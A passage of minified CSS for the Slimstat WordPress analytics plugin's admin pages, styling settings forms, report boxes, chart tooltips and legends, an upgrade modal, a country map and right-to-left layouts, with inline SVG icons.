td .tag-editor .tag-editor-delete i::before{color:#e8294c}.wrap.slimstat-config .form-table tr td .bootstrap-switch-wrapper,.wrap.slimstat .form-table tr td .bootstrap-switch-wrapper{border:2px solid #f3f3f3;border-radius:50px}.wrap.slimstat-config .form-table tr td .bootstrap-switch-wrapper .bootstrap-switch-container span.bootstrap-switch-handle-on,.wrap.slimstat .form-table tr td .bootstrap-switch-wrapper .bootstrap-switch-container span.bootstrap-switch-handle-on{border-radius:50px;padding:5px 0px}.wrap.slimstat-config .form-table tr td .bootstrap-switch-wrapper .bootstrap-switch-container span.bootstrap-switch-handle-off,.wrap.slimstat .form-table tr td .bootstrap-switch-wrapper .bootstrap-switch-container span.bootstrap-switch-handle-off{border-radius:50px;padding:5px 0px;background-color:#f8f8f8;color:#151515}.wrap.slimstat-config .form-table tr .description,.wrap.slimstat .form-table tr .description{color:#616060;margin-top:7px;display:block}.wrap.slimstat-config .slimstat-options-section-header,.wrap.slimstat .slimstat-options-section-header{background-color:#f8f8f8;padding:20px 20px;font-weight:500;color:#151515;font-size:16px}.wrap.slimstat-config #slimstat-filters,.wrap.slimstat #slimstat-filters{display:flex;align-items:center;justify-content:flex-start;flex-wrap:wrap;margin-bottom:5px}.wrap.slimstat-config #slimstat-filters .form-field,.wrap.slimstat #slimstat-filters .form-field{position:relative}.wrap.slimstat-config #slimstat-filters select,.wrap.slimstat #slimstat-filters select{border:1px solid #eee;border-radius:5px;display:block;width:100%;margin:0}.wrap.slimstat-config #slimstat-filters input,.wrap.slimstat #slimstat-filters input{border:1px solid #eee;border-radius:5px;display:block;width:100%;margin:0;max-width:95%}.wrap.slimstat-config #slimstat-filters input[type=\"submit\"],.wrap.slimstat #slimstat-filters input[type=\"submit\"]{border:1px solid #e8294c;background-color:white;color:#e8294c;width:auto}.rtl .wrap.slimstat-config #slimstat-filters input[type=\"submit\"],.rtl .wrap.slimstat #slimstat-filters input[type=\"submit\"]{margin-left:0}@media (max-width: 400px){.wrap.slimstat-config #slimstat-filters,.wrap.slimstat #slimstat-filters{margin-bottom:12px}.wrap.slimstat-config #slimstat-filters .form-field,.wrap.slimstat #slimstat-filters .form-field{flex:0 0 50%;margin-bottom:10px}}.wrap.slimstat-config .meta-box-sortables form,.wrap.slimstat .meta-box-sortables form{display:none}.wrap.slimstat-config .meta-box-sortables .postbox,.wrap.slimstat .meta-box-sortables .postbox{border:solid 1px #f0f0f0;border-radius:10px;margin-right:0.5%}.rtl .wrap.slimstat-config .meta-box-sortables .postbox,.rtl .wrap.slimstat .meta-box-sortables .postbox{margin-right:0;margin-left:0.5%}.wrap.slimstat-config .meta-box-sortables .postbox .slimScrollDiv .slimstat-tooltip-trigger.corner,.wrap.slimstat .meta-box-sortables .postbox .slimScrollDiv .slimstat-tooltip-trigger.corner{display:inline-block;float:none;margin-right:3px;cursor:help}.wrap.slimstat-config .meta-box-sortables .postbox .slimScrollDiv .slimstat-tooltip-trigger.corner::before,.wrap.slimstat .meta-box-sortables .postbox .slimScrollDiv .slimstat-tooltip-trigger.corner::before{color:#aaaaaa;transform:scaleX(-1);display:block}.wrap.slimstat-config .meta-box-sortables .postbox .slimstat-header-buttons,.wrap.slimstat .meta-box-sortables .postbox .slimstat-header-buttons{padding:15px 10px 0 10px;display:flex;align-items:center;justify-content:flex-end;float:right}.wrap.slimstat-config .meta-box-sortables .postbox .slimstat-header-buttons .dashicons,.wrap.slimstat .meta-box-sortables .postbox .slimstat-header-buttons .dashicons{width:auto;height:auto}.wrap.slimstat-config .meta-box-sortables .postbox .slimstat-header-buttons a:focus,.wrap.slimstat .meta-box-sortables .postbox .slimstat-header-buttons a:focus{box-shadow:none}.wrap.slimstat-config .meta-box-sortables .postbox .slimstat-header-buttons a.refresh,.wrap.slimstat .meta-box-sortables .postbox .slimstat-header-buttons a.refresh{padding:5px 5px}.wrap.slimstat-config .meta-box-sortables .postbox .slimstat-header-buttons a.refresh::before,.wrap.slimstat .meta-box-sortables .postbox .slimstat-header-buttons a.refresh::before{transform:translateY(-1px);display:block;color:#616060;transition:0.3s all ease-out}.wrap.slimstat-config .meta-box-sortables .postbox .slimstat-header-buttons a.slimstat-font-download,.wrap.slimstat .meta-box-sortables .postbox .slimstat-header-buttons a.slimstat-font-download{padding:5px 5px;border-radius:5px;font-weight:700;font-size:12px;line-height:100%;letter-spacing:0px;color:#676e74;transition:0.3s all ease-out;cursor:pointer;position:relative;top:0px}.wrap.slimstat-config .meta-box-sortables .postbox .slimstat-header-buttons a.slimstat-font-download:not(.is-not-pro):hover,.wrap.slimstat .meta-box-sortables .postbox .slimstat-header-buttons a.slimstat-font-download:not(.is-not-pro):hover{color:#202224}.wrap.slimstat-config .meta-box-sortables .postbox .slimstat-header-buttons a.slimstat-font-download:not(.is-not-pro):hover span.dashicons::before,.wrap.slimstat .meta-box-sortables .postbox .slimstat-header-buttons a.slimstat-font-download:not(.is-not-pro):hover span.dashicons::before{color:#202224}.wrap.slimstat-config .meta-box-sortables .postbox .slimstat-header-buttons a.slimstat-font-download span.dashicons::before,.wrap.slimstat .meta-box-sortables .postbox .slimstat-header-buttons a.slimstat-font-download span.dashicons::before{color:#676e74;font-size:14px;margin-right:2px;display:block;transform:translateY(1px);transition:0.3s all ease-out}.rtl .wrap.slimstat-config .meta-box-sortables .postbox .slimstat-header-buttons,.rtl .wrap.slimstat .meta-box-sortables .postbox .slimstat-header-buttons{float:left}.rtl .wrap.slimstat-config .meta-box-sortables .postbox .slimstat-header-buttons a.slimstat-font-download span.dashicons::before,.rtl .wrap.slimstat .meta-box-sortables .postbox .slimstat-header-buttons a.slimstat-font-download span.dashicons::before{margin-right:0px;margin-left:3px}.wrap.slimstat-config .meta-box-sortables .postbox h3,.wrap.slimstat .meta-box-sortables .postbox h3{background-color:#ffffff;color:#202224;padding:18px 15px;border:none;font-size:16px;font-weight:bold;letter-spacing:-0.43px}.wrap.slimstat-config .meta-box-sortables .postbox h3 .header-tooltip,.wrap.slimstat .meta-box-sortables .postbox h3 .header-tooltip{margin:0px 5px;display:inline-block;transform:translateY(3px)}.wrap.slimstat-config .meta-box-sortables .postbox h3 .header-tooltip:hover svg path,.wrap.slimstat .meta-box-sortables .postbox h3 .header-tooltip:hover svg path{fill:#202224}.wrap.slimstat-config .meta-box-sortables .postbox .slimstat-browser-icon,.wrap.slimstat-config .meta-box-sortables .postbox span.slimstat-flag-container,.wrap.slimstat .meta-box-sortables .postbox .slimstat-browser-icon,.wrap.slimstat .meta-box-sortables .postbox span.slimstat-flag-container{position:relative !important;width:18px;height:auto !important;float:left !important;margin:0px 10px 0px 0px;transform:translateY(1px);border-radius:60px}.wrap.slimstat-config .meta-box-sortables .postbox .slimstat-author-link img,.wrap.slimstat .meta-box-sortables .postbox .slimstat-author-link img{position:relative !important;width:18px;height:auto !important;float:left !important;margin:0px 10px 0px 0px;transform:translateY(1px);border-radius:60px}.wrap.slimstat-config .meta-box-sortables .postbox .slimstat-tooltip-trigger .slimstat-tooltip-bar-wrap,.wrap.slimstat .meta-box-sortables .postbox .slimstat-tooltip-trigger .slimstat-tooltip-bar-wrap{z-index:0 !important;position:absolute;display:block;width:calc(100% - 30px);height:100%;top:0;left:0;margin:0px 15px;box-sizing:border-box}.wrap.slimstat-config .meta-box-sortables .postbox .slimstat-tooltip-trigger *,.wrap.slimstat .meta-box-sortables .postbox .slimstat-tooltip-trigger *{z-index:2 !important;position:relative}.wrap.slimstat-config .meta-box-sortables .postbox .slimstat-tooltip-trigger a,.wrap.slimstat .meta-box-sortables .postbox .slimstat-tooltip-trigger a{max-width:80%;display:inline-block;color:#202224;font-weight:600;vertical-align:top;font-size:12px}.wrap.slimstat-config p.slimstat-tooltip-trigger,.wrap.slimstat p.slimstat-tooltip-trigger{border:none !important;margin-bottom:8px}.wrap.slimstat-config .pagination,.wrap.slimstat .pagination{color:#6f7478;position:absolute;left:0;bottom:0;background-color:#fff;z-index:2;width:100%;padding:10px 15px}.wrap.slimstat-config a.refresh.slimstat-font-angle-double-right,.wrap.slimstat-config a.refresh.slimstat-font-angle-right,.wrap.slimstat-config a.refresh.slimstat-font-angle-double-left,.wrap.slimstat-config a.refresh.slimstat-font-angle-left,.wrap.slimstat a.refresh.slimstat-font-angle-double-right,.wrap.slimstat a.refresh.slimstat-font-angle-right,.wrap.slimstat a.refresh.slimstat-font-angle-double-left,.wrap.slimstat a.refresh.slimstat-font-angle-left{width:24px;border:solid 1px #dadce0;height:24px;padding:0;border-radius:50%;text-align:center;vertical-align:middle}.wrap.slimstat-config a.refresh.slimstat-font-angle-double-right:before,.wrap.slimstat-config a.refresh.slimstat-font-angle-right:before,.wrap.slimstat-config a.refresh.slimstat-font-angle-double-left:before,.wrap.slimstat-config a.refresh.slimstat-font-angle-left:before,.wrap.slimstat a.refresh.slimstat-font-angle-double-right:before,.wrap.slimstat a.refresh.slimstat-font-angle-right:before,.wrap.slimstat a.refresh.slimstat-font-angle-double-left:before,.wrap.slimstat a.refresh.slimstat-font-angle-left:before{color:#676e74 !important;font-size:13px}.wrap.slimstat-config span.slimstat-tooltip-bar,.wrap.slimstat span.slimstat-tooltip-bar{display:block;height:100%;max-width:100% !important;position:absolute !important;top:0;left:0;background-color:var(--box-bar-color);border-radius:6px}.wrap.slimstat-config .slimScrollDiv p,.wrap.slimstat .slimScrollDiv p{padding:10px 25px}.wrap.slimstat-config .slimScrollDiv p.header,.wrap.slimstat .slimScrollDiv p.header{border:none}.wrap.slimstat-config .slimScrollDiv code,.wrap.slimstat .slimScrollDiv code{border-radius:3px;background-color:white;padding:3px 7px}.wrap.slimstat table.widefat{border:none}.wrap.slimstat table.widefat tbody tr:nth-child(even){background-color:#f8f8f8}.wrap.slimstat table.widefat tbody tr td{vertical-align:middle}.wrap.slimstat table.widefat thead{background-color:#fff4f5}.wrap.slimstat table.widefat thead th{white-space:nowrap;border:none;border-top:1px solid #e8294c;border-bottom:1px solid #e8294c;color:black;padding:8px 10px;vertical-align:middle}.wrap.slimstat table.widefat thead th a{color:#e8294c}.slimstat-header{padding:30px 25px;margin-bottom:20px;background-color:#2b2b2b;display:flex;align-items:center;justify-content:flex-start;position:relative;margin-left:-20px;box-sizing:border-box}.slimstat-header .logo{width:180px;height:auto}.slimstat-header .vr-line{background-color:#9a9a9a;margin:0 40px;display:block;width:1px;height:40px}.slimstat-header .go-pro{text-align:left}.slimstat-header .go-pro a{display:flex;align-items:center;justify-content:flex-start;margin-bottom:3px;color:white;text-decoration:none;font-size:15px;font-weight:400;cursor:pointer}.slimstat-header .go-pro a .icon{background:url(\"..\u002Fimages\u002Fwhite-right-chevron.png\") no-repeat center center\u002Fcontain;width:10px;height:10px;margin-left:5px;display:block}.slimstat-header .go-pro p{text-align:left;font-weight:300;color:white;margin:0}.slimstat-header .pro-badge{display:flex;align-items:center;justify-content:flex-start;position:absolute;right:20px;bottom:20px;color:white}.slimstat-header .pro-badge p{margin:0}.slimstat-header .pro-badge .icon{background:url(\"..\u002Fimages\u002Fpro-badge.png\") no-repeat center center\u002Fcontain;width:16px;height:16px;margin-right:7px;display:block}.rtl .slimstat-header{margin-right:-20px;margin-left:0}.rtl .slimstat-header .pro-badge{right:auto;left:20px}.rtl .slimstat-header .pro-badge .icon{margin-left:7px;margin-right:0}.rtl .slimstat-header .go-pro a .icon{background:url(..\u002Fimages\u002Fwhite-right-chevron.png) no-repeat center center\u002Fcontain;margin-left:0px;margin-right:5px;transform:scaleX(-1)}.rtl .slimstat-header .go-pro p{text-align:right}@media (max-width: 500px){.slimstat-header{display:block}.slimstat-header .vr-line{margin:20px 0;width:100%;height:1px}.slimstat-header .go-pro{margin-top:20px}.slimstat-header .pro-badge{right:10px}.rtl .slimstat-header .pro-badge{left:10px;right:auto}}.slimstat-layout{position:relative}.slimstat-layout .postbox-container{border:solid 1px #f0f0f0}.slimstat-layout .postbox-container:has(.ui-sortable-placeholder){border:dashed 1px #ff8080}.slimstat-layout .postbox-container .meta-box-sortables,.slimstat-layout .postbox-container h2{background-color:#fff !important;color:#202224;padding:18px 15px;font-size:16px !important;font-weight:bold !important;letter-spacing:-0.43px}.slimstat-layout .postbox{border-radius:8px !important;box-shadow:none !important;background-color:#fff}.slimstat-layout .postbox h3{font-weight:400 !important;padding:12px 15px !important;background-color:#f1f1f1 !important;font-size:14px !important}#dashboard-widgets-wrap .postbox .slimstat-tooltip-trigger.corner{display:inline-block;float:none;margin-right:3px;cursor:help}#dashboard-widgets-wrap .postbox .slimstat-tooltip-trigger.corner::before{color:#aaaaaa;display:block;transform:scaleX(-1)}.slimstat-pro-modal-backdrop{position:absolute;top:0;left:0;width:100%;height:100%;backdrop-filter:blur(3px);background-color:rgba(255,255,255,0.5);z-index:20;display:none}.slimstat-pro-modal{position:fixed;z-index:30;transform:translateX(-50%);background-color:white;border-radius:25px;box-shadow:0px 4px 80px rgba(0,0,0,0.15);padding:40px 4%;text-align:center;box-sizing:border-box;max-width:720px;margin-top:100px;left:50%;transform:translate(-50%, 0);top:45%;transform:translateX(-50%) translateY(-50%)}.slimstat-pro-modal *{margin:0;padding:0;box-sizing:border-box}.slimstat-pro-modal #slimstat-pro-modal-close{position:absolute;cursor:pointer;top:30px;right:10%;width:30px;height:30px;opacity:0.3;transition:0.3s all ease-out;background:url(\"data:image\u002Fsvg+xml,%3Csvg width='33' height='32' viewBox='0 0 33 32' fill='none' xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg'%3E%3Cpath d='M16.6172 31.1641C24.9015 31.1641 31.6172 24.4483 31.6172 16.1641C31.6172 7.87979 24.9015 1.16406 16.6172 1.16406C8.33292 1.16406 1.61719 7.87979 1.61719 16.1641C1.61719 24.4483 8.33292 31.1641 16.6172 31.1641Z' stroke='%23222222' stroke-width='1.5' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3Cpath d='M21.1172 11.6641L12.1172 20.6641' stroke='%23222222' stroke-width='1.5' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3Cpath d='M12.1172 11.6641L21.1172 20.6641' stroke='%23222222' stroke-width='1.5' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3C\u002Fsvg%3E%0A\") no-repeat center center\u002Fcontain}.slimstat-pro-modal #slimstat-pro-modal-close:hover{opacity:1}.slimstat-pro-modal h2 .subtitle{font-size:18px;margin-bottom:12px;color:#151515;display:block}.slimstat-pro-modal h2 .title{color:#e8294c;font-size:22px;font-weight:700;margin-bottom:25px;display:block}.slimstat-pro-modal .description{color:#616060;font-weight:400;font-size:16px;margin-bottom:25px}.slimstat-pro-modal .scroller{max-height:45vh;overflow-y:auto;scrollbar-width:thin;scrollbar-color:#333333 #f5f5f5;scrollbar-face-color:#f5f5f5;scrollbar-arrow-color:#333333;scrollbar-track-color:#f5f5f5;scrollbar-shadow-color:#333333;scrollbar-highlight-color:#333333;scrollbar-3dlight-color:#333333;scrollbar-darkshadow-color:#333333}.slimstat-pro-modal .scroller::-webkit-scrollbar{width:5px}.slimstat-pro-modal .scroller::-webkit-scrollbar-thumb{background-color:#333333;border-radius:10px}.slimstat-pro-modal .scroller::-webkit-scrollbar-track{background-color:#f5f5f5}.slimstat-pro-modal .features-flex-box{display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap}.slimstat-pro-modal .features-flex-box .feature-item{flex:0 0 45%;border-bottom:1px solid #f3f3f3;padding:15px 0;display:flex;align-items:center;justify-content:space-between}.slimstat-pro-modal .features-flex-box .feature-item h6{color:#151515;font-weight:500;font-size:16px}.slimstat-pro-modal .features-flex-box .feature-item h6 .icon{transform:translateY(6px);width:20px;height:20px;margin-right:7px;display:inline-block;background:url(\"data:image\u002Fsvg+xml,%3Csvg width='18' height='17' viewBox='0 0 18 17' fill='none' xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg'%3E%3Cpath d='M16.4463 7.90039V8.57696C16.4454 10.1628 15.9319 11.7058 14.9823 12.976C14.0328 14.2461 12.6982 15.1753 11.1774 15.625C9.65665 16.0746 8.03129 16.0206 6.54373 15.471C5.05617 14.9215 3.78612 13.9057 2.92298 12.5754C2.05985 11.245 1.64988 9.67128 1.75422 8.08889C1.85857 6.50649 2.47163 5.00021 3.50198 3.79471C4.53233 2.5892 5.92476 1.74905 7.4716 1.39956C9.01844 1.05007 10.6368 1.20997 12.0854 1.8554' stroke='%23E8294C' stroke-width='1.8' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3Cpath d='M16.445 2.69531L9.09097 10.0567L6.88477 7.85047' stroke='%23E8294C' stroke-width='1.8' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3C\u002Fsvg%3E%0A\") no-repeat center center\u002Fcontain}.slimstat-pro-modal .features-flex-box .feature-item .more-info-icon{display:block;width:20px;height:20px;margin-left:3px;background:url(\"data:image\u002Fsvg+xml,%3Csvg width='16' height='16' viewBox='0 0 16 16' fill='none' xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg'%3E%3Cpath d='M8.20996 15.4014C12.1434 15.4014 15.332 12.2127 15.332 8.2793C15.332 4.34589 12.1434 1.15723 8.20996 1.15723C4.27655 1.15723 1.08789 4.34589 1.08789 8.2793C1.08789 12.2127 4.27655 15.4014 8.20996 15.4014Z' stroke='%23C3C4C7' stroke-width='1.2' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3Cpath d='M6.13672 6.14245C6.30416 5.66645 6.63466 5.26508 7.06968 5.00942C7.5047 4.75376 8.01616 4.6603 8.51348 4.7456C9.0108 4.83091 9.46188 5.08946 9.78683 5.47548C10.1118 5.8615 10.2896 6.35007 10.2889 6.85465C10.2889 8.27907 8.15226 8.99127 8.15226 8.99127' stroke='%23C3C4C7' stroke-width='1.2' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3Cpath d='M8.21094 11.8398H8.21769' stroke='%23C3C4C7' stroke-width='1.2' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3C\u002Fsvg%3E%0A\") no-repeat center center\u002Fcontain}.slimstat-pro-modal .go-pro-button{display:inline-block;padding:15px 10px;width:250px;border-radius:10px;font-size:16px;font-weight:500;color:white;text-align:center;background-color:#e8294c;text-decoration:none;margin-top:35px;transition:0.3s all ease-out}.slimstat-pro-modal .go-pro-button:hover{background-color:black}.rtl .slimstat-pro-modal .features-flex-box .feature-item h6 .icon{margin-left:7px;margin-right:0}.rtl .slimstat-pro-modal #slimstat-pro-modal-close{left:10%;right:auto}@media (max-width: 780px){.slimstat-pro-modal{border-radius:15px;padding:20px 20px;width:95%}.slimstat-pro-modal #slimstat-pro-modal-close{top:20px;right:20px}.slimstat-pro-modal h2 .subtitle{font-size:15px}.slimstat-pro-modal h2 .title{font-size:18px}.slimstat-pro-modal .features-flex-box .feature-item{flex:0 0 100%}.slimstat-pro-modal .features-flex-box .feature-item h6 .icon{transform:translateY(4px)}}\n+﻿.slimstat-postbox-custom-legend{display:flex;justify-content:flex-start;margin-top:20px;gap:40px;font-size:14px}#chartjs-tooltip{transition:.3s all ease-in-out;pointer-events:none !important;background:#fff;z-index:9999;font:13px \"Open Sans\",sans-serif;border:solid 1px #e0e0e0;border-radius:12px;padding:10px 18px;margin:0;min-width:180px;max-width:320px;opacity:.98;filter:drop-shadow(0 2px 8px rgba(60, 60, 90, 0.1))}#chartjs-tooltip:hover{opacity:.3}#chartjs-tooltip .slimstat-postbox-chart--item[data-index].active .tooltip-item-content{color:#000 !important}@media(max-width: 600px){#chartjs-tooltip{min-width:120px;max-width:98vw;font-size:12px;padding:7px 8px}}span.slimstat-toggle-prev-datasets{position:absolute;right:110px;max-width:80%;display:inline-block;color:#56585a;font-weight:600;vertical-align:top;font-size:12px;cursor:pointer;font-style:oblique;opacity:.7}span.slimstat-toggle-prev-datasets.active{opacity:1}.slimstat-chart-controls{position:absolute;right:20px;text-align:right}.slimstat-chart-controls select{top:-3px;position:relative;display:inline-block;width:84px;min-height:11px !important;line-height:22px !important;border:none;text-decoration:underline dashed 1px}.slimstat-postbox-chart--items{display:flex;column-gap:25px;row-gap:20px;margin-bottom:5px;flex-wrap:wrap;padding:0px 0px 0px 20px;align-items:baseline}@media(max-width: 550px){.slimstat-postbox-chart--items{column-gap:40px}}.slimstat-postbox-chart--item{display:flex;flex-direction:row;gap:8px;align-items:center;cursor:pointer}.slimstat-postbox-chart--item:not(:last-child){margin-bottom:5px}.slimstat-postbox-chart--item.slimstat-postbox-chart--item-hidden{opacity:.5}.slimstat-postbox-chart--item>span{font-size:13px;font-style:italic;font-weight:400;line-height:15.23px;color:#56585a;text-transform:capitalize}.slimstat-postbox-chart--item>span.slimstat-postbox-chart--item-label{font-weight:500;font-size:12px;font-style:italic}.slimstat-postbox-chart--item .slimstat-postbox-chart--item--color{display:inline-flex;width:15px;border-radius:2px;height:5px;margin-right:4px}.slimstat-postbox-chart--item .slimstat-postbox-chart--item--prev{font-size:9px;color:#616060;font-weight:bold;letter-spacing:-0.5px;margin:0 3px;top:-1px;position:relative}.slimstat-postbox-chart--item>div{display:flex;gap:16px;align-items:center;cursor:pointer}body.index-php #dashboard-widgets-wrap .postbox .slimstat-tooltip-trigger.corner.slimstat-toggle-prev-datasets{display:block;float:none;cursor:help;width:120px !important;max-width:120px !important;position:relative;left:unset;right:unset;text-align:left;min-width:200px !important;margin:5px 20px;margin-bottom:10px}body.index-php .slimstat-chart-wrap{max-width:100% !important;width:100%;aspect-ratio:16\u002F7;height:auto}body.index-php .inside:has(.slimstat-postbox-chart--canvas){height:auto !important;min-height:180px;max-height:none;margin-bottom:20px !important}body.index-php .slimstat-postbox-chart--canvas{width:100% !important;max-width:100%;min-width:100px;aspect-ratio:16\u002F7;height:auto !important;min-height:120px;max-height:60vw;border-radius:7px;margin:0 auto 8px auto;box-shadow:0 1px 4px rgba(60,60,90,.04);display:block}body.index-php .slimstat-postbox-custom-legend,body.index-php .slimstat-postbox-chart--items{flex-direction:row;flex-wrap:wrap;gap:12px;column-gap:12px;row-gap:8px;padding-left:0;overflow-x:auto;font-size:13px;width:100%;box-sizing:border-box;justify-content:start;margin:5px 20px}body.index-php .slimstat-postbox-chart--item{padding:3px 7px;font-size:12px;border-radius:5px;margin-bottom:2px}body.index-php .slimstat-chart-controls{right:10px;position:absolute;display:inline-block;width:80px;text-align:left;left:unset}body.index-php .slimstat-chart-controls select{width:90px;font-size:12px;padding:1px 4px;border-radius:5px}@media(max-width: 900px){body.index-php .slimstat-postbox-chart--canvas{aspect-ratio:16\u002F10;min-height:90px;max-height:50vw}}@media(max-width: 600px){body.index-php .slimstat-postbox-custom-legend,body.index-php .slimstat-postbox-chart--items{flex-direction:column;gap:8px;column-gap:8px;row-gap:6px;font-size:12px;width:100%}body.index-php .slimstat-postbox-chart--canvas{min-width:80px;aspect-ratio:16\u002F12;min-height:60px;max-height:40vw;border-radius:5px}body.index-php .slimstat-chart-wrap{aspect-ratio:16\u002F12;min-height:60px}}@media(max-width: 400px){body.index-php .slimstat-postbox-chart--canvas{min-width:60px;min-height:40px;max-height:30vw}body.index-php .slimstat-chart-wrap{min-height:40px}}[dir=rtl] .slimstat-postbox-custom-legend,.rtl .slimstat-postbox-custom-legend{flex-direction:row-reverse;justify-content:flex-end;gap:40px;text-align:right}[dir=rtl] .slimstat-chart-controls,.rtl .slimstat-chart-controls{right:auto;left:20px;text-align:left}[dir=rtl] #chartjs-tooltip,.rtl #chartjs-tooltip{direction:rtl;text-align:right;font-family:\"Open Sans\",sans-serif !important}[dir=rtl] .slimstat-postbox-custom-legend,.rtl .slimstat-postbox-custom-legend,[dir=rtl] .slimstat-postbox-chart--items,.rtl .slimstat-postbox-chart--items{direction:rtl;text-align:right;font-family:\"Open Sans\",sans-serif !important}[dir=rtl] .slimstat-postbox-chart--item,.rtl .slimstat-postbox-chart--item{direction:rtl;text-align:right;font-family:\"Open Sans\",sans-serif !important}[dir=rtl] .tooltip-item-title,.rtl .tooltip-item-title,[dir=rtl] .tooltip-item-content,.rtl .tooltip-item-content{direction:rtl;text-align:right;font-family:\"Open Sans\",sans-serif !important}[id^=slim_] .inside:has(.slimstat-postbox-chart--canvas){margin-bottom:20px !important;height:265px !important}[id^=slim_] .inside:has(.slimstat-postbox-chart--canvas) .slimstat-postbox-chart--canvas{height:240px !important;width:100% !important;min-height:240px !important;max-height:240px !important}.chart-placeholder{height:280px;overflow:hidden}[dir=rtl] #chartjs-tooltip table,.rtl #chartjs-tooltip table{direction:rtl;text-align:right}[dir=rtl] #chartjs-tooltip tr.slimstat-postbox-chart--item td,.rtl #chartjs-tooltip tr.slimstat-postbox-chart--item td{padding-right:0;padding-left:8px}[dir=rtl] .slimstat-postbox-chart--item,.rtl .slimstat-postbox-chart--item{text-align:right;gap:8px}[dir=rtl] #chartjs-tooltip tr.slimstat-postbox-chart--item{flex-direction:unset !important}[dir=rtl] .slimstat-toggle-prev-datasets{left:120px !important;right:unset;direction:ltr}[dir=rtl] .slimstat-postbox-chart--items{padding:0px 20px 0px 20px}[dir=rtl] .slimstat-postbox-chart--item>span,.rtl .slimstat-postbox-chart--item>span{text-align:right}[dir=rtl] .slimstat-postbox-chart--item .slimstat-postbox-chart--item--color,.rtl .slimstat-postbox-chart--item .slimstat-postbox-chart--item--color{margin-left:0px !important;margin-right:10px !important}[dir=rtl] #chartjs-tooltip .slimstat-postbox-chart--item .slimstat-postbox-chart--item--color,.rtl #chartjs-tooltip .slimstat-postbox-chart--item .slimstat-postbox-chart--item--color{margin-left:10px !important;margin-right:10px !important}[dir=rtl] .slimstat-postbox-chart--item:not(:first-child){margin-bottom:0px}[dir=rtl] .slimstat-postbox-chart--item:not(:last-child){margin-bottom:0px}[dir=rtl] .slimstat-postbox-chart--item .slimstat-postbox-chart--item--prev,.rtl .slimstat-postbox-chart--item .slimstat-postbox-chart--item--prev{margin:0 3px 0 0}[dir=rtl] .tooltip-item-title,.rtl .tooltip-item-title{text-align:right}[dir=rtl] .tooltip-item-content,.rtl .tooltip-item-content{direction:rtl;text-align:right}:root{--box-bar-color: #eff6ff}body.toplevel_page_slimview1,body.slimstat_page_slimview2,body.slimstat_page_slimview3,body.slimstat_page_slimview4,body.slimstat_page_slimview5,body.slimstat_page_slimconfig,body.slimstat_page_slimpro,body.slimstat_page_slimlayout,body.slimstat_page_migration{background:#f5f6fa !important}#slimstat-load-saved-filters{margin:0 5px !important}body.index-php .slimstat-tooltip-bar-wrap{margin:0 5px !important}body.index-php .slimstat-tooltip-trigger:has(.slimstat-tooltip-bar-wrap){border:none !important}body.index-php span.slimstat-tooltip-bar{display:block;height:100%;position:absolute !important;top:0;left:0;background-color:var(--box-bar-color);border-radius:6px}body.index-php .postbox p.slimstat-tooltip-trigger{margin-bottom:4px;margin-top:4px}body.index-php .slimstat-browser-icon,body.index-php .slimstat-flag-icon,body.index-php span.slimstat-flag-container{position:relative !important;width:18px;height:auto !important;float:left !important;margin:0px 10px 0px 0px;transform:translateY(1px);border-radius:60px}body.index-php .slimstat-author-link img{position:relative !important;width:18px;height:auto !important;float:left !important;margin:0px 10px 0px 0px;transform:translateY(1px);border-radius:60px}body.index-php .slimstat-tooltip-trigger .slimstat-tooltip-bar-wrap{z-index:0 !important;position:absolute;display:block;width:calc(100% - 30px);height:100%;top:0;left:0;margin:0px 15px;box-sizing:border-box}body.index-php .slimstat-tooltip-trigger *{z-index:2 !important;position:relative}body.index-php .slimstat-tooltip-trigger a{max-width:80%;display:inline-block;color:#202224;font-weight:600;vertical-align:middle;font-size:12px}body.index-php .inside:has(.map-container){height:auto !important}body.index-php .map-container{display:flex;flex-wrap:wrap;padding:0px 20px;height:720px !important}body.index-php #map_slim_p6_01{width:100%;height:395px;min-height:395px;flex:1}@media(max-width: 768px){body.index-php #map_slim_p6_01{height:310px;min-height:310px;max-height:310px}}body.index-php .top-countries-wrap{min-width:370px;max-width:370px;margin-left:0px;display:flex;justify-content:center}[dir=rtl] body.index-php .top-countries-wrap{margin-left:0;margin-right:0px}@media(max-width: 768px){body.index-php .top-countries-wrap{margin-left:0;min-width:100%;max-width:100%}[dir=rtl] body.index-php .top-countries-wrap{margin-right:0}}body.index-php .top-countries{flex:1}body.index-php .top-countries h4{font-weight:700;font-size:14px;line-height:100%;letter-spacing:-0.43px}body.index-php .country-bar{display:flex;align-items:center;margin-bottom:20px;position:relative;height:36px}body.index-php .country-bar .country-flag-container{width:24px;height:24px;border-radius:100px;overflow:hidden;margin:0px 10px 0 0px;display:inline-block;min-width:24px}body.index-php .country-bar strong{font-weight:700;font-size:14px;line-height:100%;letter-spacing:0px;vertical-align:middle;position:absolute;top:3px;left:43px;color:#202224}body.index-php .country-bar span{color:#202224;font-weight:800;font-size:12px;line-height:100%;letter-spacing:0px;vertical-align:middle;margin-left:5px;margin-top:23px}body.index-php .country-flag{height:auto;transform:translateX(-13%)}body.index-php .bar-container{background-color:#e5e6e9;height:8px;width:100%;margin-left:10px;border-radius:4px;margin-top:25px;overflow:hidden}body.index-php .bar-fill{height:100%;background-color:#e7294b}body.index-php .map-container{flex-direction:column}body.index-php .top-countries{margin-left:0;margin-top:20px}[dir=rtl] body.index-php .top-countries{margin-left:0;margin-right:0}[id^=slim_] .inside:has(.slimstat-postbox-chart--canvas){margin-bottom:20px !important;height:265px !important}[id^=slim_] .inside:has(.slimstat-postbox-chart--canvas) .slimstat-postbox-chart--canvas{height:240px !important;width:100% !important;min-height:240px !important;max-height:240px !important}#slim_p8_01 .inside,#slim_p8_02 .inside,.report-pages-by-user .inside{margin-bottom:10px !important}#slim_p8_01 .pagination,#slim_p8_02 .pagination,.report-pages-by-user .pagination{position:relative !important}.wrap.slimstat{overflow-x:hidden !important}.wrap.slimstat .postbox:has(p.loading) a.refresh svg{animation:spin 1s linear infinite}.wrap.slimstat 